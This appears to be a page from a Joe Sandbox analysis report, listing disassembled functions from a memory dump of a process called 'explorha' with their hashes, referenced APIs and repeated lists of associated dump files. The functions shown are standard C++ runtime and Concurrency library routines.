Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: CacheGroupLocalSchedule$Concurrency::details::SegmentSegment::std::invalid_argument::invalid_argument
String ID: count$ppVirtualProcessorRoots
API String ID: 2663199487-3650809737
Opcode ID: 2c3986038055fa0ade28fd4154eeac7ad93b523081157c9b16a6950ac543287f
Instruction ID: ff129ede492ae787d24f87234f4971c66e89c659fcec48ccb9ccc5facf5e6203
Opcode Fuzzy Hash: 2c3986038055fa0ade28fd4154eeac7ad93b523081157c9b16a6950ac543287f
Instruction Fuzzy Hash: 16216D35600619AFCB14EFA9C991EAD77F5BF48310F104069F60AAB6A1DB71AE01CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00AFD005 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00AFD09E

Strings

RoUninitialize, xrefs: 00AFD051
combase.dll, xrefs: 00AFD013, 00AFD018, 00AFD02D, 00AFD058
RoInitialize, xrefs: 00AFD028

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error
String ID: RoInitialize$RoUninitialize$combase.dll
API String ID: 348560076-3997890769
Opcode ID: 9e9a96b329c8fcafaa4a32ec4dcfe83b84088e686ec3c9cd6af2a3683b635a06
Instruction ID: 2ccc8012826733683fab0e7a8aa201874cde4e4fd290ca6fccda9bc2bbef4f8a
Opcode Fuzzy Hash: 9e9a96b329c8fcafaa4a32ec4dcfe83b84088e686ec3c9cd6af2a3683b635a06
Instruction Fuzzy Hash: 1D01F97098531969E722B7F95C01B7F35DC9F02748F301D657681F3291EEB8DA0186A2

Uniqueness

Uniqueness Score: -1.00%

Function 00AF84AC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

SafeRWList.LIBCONCRT ref: 00AF8503

Part of subcall function 00AF64FE: Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00AF650F
Part of subcall function 00AF64FE: List.LIBCMT ref: 00AF6519

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AF8515
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00AF853A

Strings

eventObject, xrefs: 00AF850D

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: List$AcquireConcurrency::details::_Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLock::_ReaderSafeWriteWriterstd::invalid_argument::invalid_argument
String ID: eventObject
API String ID: 1288476792-1680012138
Opcode ID: 3157f8d0f05126fddf8b8f9accde856c467fe2f0ab68c69ea249be09777e5189
Instruction ID: 702b5940b0a233976df6ac4390afc15857b022bb409f44ad110de39125ee5d3d
Opcode Fuzzy Hash: 3157f8d0f05126fddf8b8f9accde856c467fe2f0ab68c69ea249be09777e5189
Instruction Fuzzy Hash: 43110E7154020DB7DB24EBE8CD42FFF33AC6F01741F600969B605B60D1DEB8AA0486A1

Uniqueness

Uniqueness Score: -1.00%

Function 00AFB77E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 00AFB792
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 00AFB7B6
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00AFB7C9

Strings

pScheduler, xrefs: 00AFB7C1

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917677702.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917938905.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918107473.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918393211.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918650468.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918877982.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919110289.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919365327.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919621902.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919845782.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920036786.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920263609.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920491065.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920716197.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921027081.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921362350.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921885229.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922138997.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922481076.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922687162.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922913733.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923176644.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923452266.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: 0a26329001dd8b7e0d2ee1897811fe76cbfbddbab22d2037f4bb8d1c8f7de10a
Instruction ID: c5de5a8cb18b4cd5c86ccd2d55ede735023f9f0b68ea1d2d03d3d4661cebd99c
Opcode Fuzzy Hash: 0a26329001dd8b7e0d2ee1897811fe76cbfbddbab22d2037f4bb8d1c8f7de10a
Instruction Fuzzy Hash: 22F0B43960160CA7C724FB94E942CBEB3B89E80B217204569F64617591DB70AD06C6A0

Uniqueness

Uniqueness Score: -1.00%

Function 00B17DC9 Relevance: 6.2, APIs: 4, Instructions: 245COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00B17F22
__alloca_probe_16.LIBCMT ref: 00B17FB8
__freea.LIBCMT ref: 00B18023
__freea.LIBCMT ref: 00B1802F

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910760294.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911468104.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2911728539.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912059942.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912387007.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2912745045.0000000000D01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913036158.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913374807.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2913878289.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914262582.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2914750366.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915066654.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915382484.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915668980.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2915958788.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916220436.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2916776940.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917077147.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2917421758.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
